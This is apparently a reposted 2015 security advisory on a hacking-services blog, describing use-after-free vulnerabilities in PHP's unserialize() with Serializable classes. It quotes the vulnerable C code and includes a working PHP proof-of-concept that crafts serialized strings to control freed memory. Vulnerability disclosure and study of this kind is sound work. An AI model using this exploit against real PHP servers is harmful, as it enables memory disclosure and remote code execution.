Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86384251

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Use After Free Vulnerabilities in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.7.31 
Release Date: 2015.9.4

Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

  if (ce->unserialize == NULL) {
    zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
    object_init_ex(rval, ce);
  } else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
    return 0;
  }

  (*p) += datalen;

  return finish_nested_data(UNSERIALIZE_PASSTHRU);


The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class


<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

?>


ii) Free the memory via the process_nested_data() with a invalid
serialized string


static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
  while (elements-- > 0) {
    zval *key, *data, **old_data;

    ...

    ALLOC_INIT_ZVAL(data);

    if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
      zval_dtor(key);
      FREE_ZVAL(key);
      zval_dtor(data);
      FREE_ZVAL(data);  <===  free the memory
      return 0;
    }


iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().


PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

  ...
  
  while (var_hash) {
    for (i = 0; i < var_hash->used_slots; i++) {
      zval_ptr_dtor(&var_hash->data[i]);  <===  free the memory
    }
  
  ...
  
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

  ...
  
  if (*rval != NULL) {
    var_push_dtor_no_addref(var_hash, rval);
  }
  *rval = *rval_ref;


We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.


<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
  $out = "";
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

class obj implements Serializable {
  var $data;
  function serialize() {
    return serialize($this->data);
  }
  function unserialize($data) {
        $this->data = unserialize($data);
//    i)
//    $this->data = '1';
  }
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(2) {
  [0]=>
  object(obj)#1 (1) {
    ["data"]=>
    bool(false)
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}